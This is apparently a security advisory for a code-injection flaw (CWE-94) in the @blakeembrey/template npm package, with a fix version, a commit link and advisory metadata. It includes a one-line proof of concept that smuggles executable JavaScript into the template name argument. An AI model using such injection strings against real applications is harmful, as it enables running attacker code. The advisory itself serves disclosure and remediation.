It is possible to inject and run code within the template if the attacker has access to write the template name.
const { template } = require('@blakeembrey/template');
template("Hello {{name}}!", "exploit() {} && ((()=>{ console.log('success'); })()) && function pwned");
Upgrade to 1.2.0.
Don't pass untrusted input as the template display name, or don't use the display name feature.
Fixed by removing in https://github.com/blakeembrey/js-template/commit/b8d9aa999e464816c6cfb14acd1ad0f5d1e335aa.
{
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-03T19:42:25Z",
"nvd_published_at": "2024-09-03T20:15:08Z",
"severity": "MODERATE"
}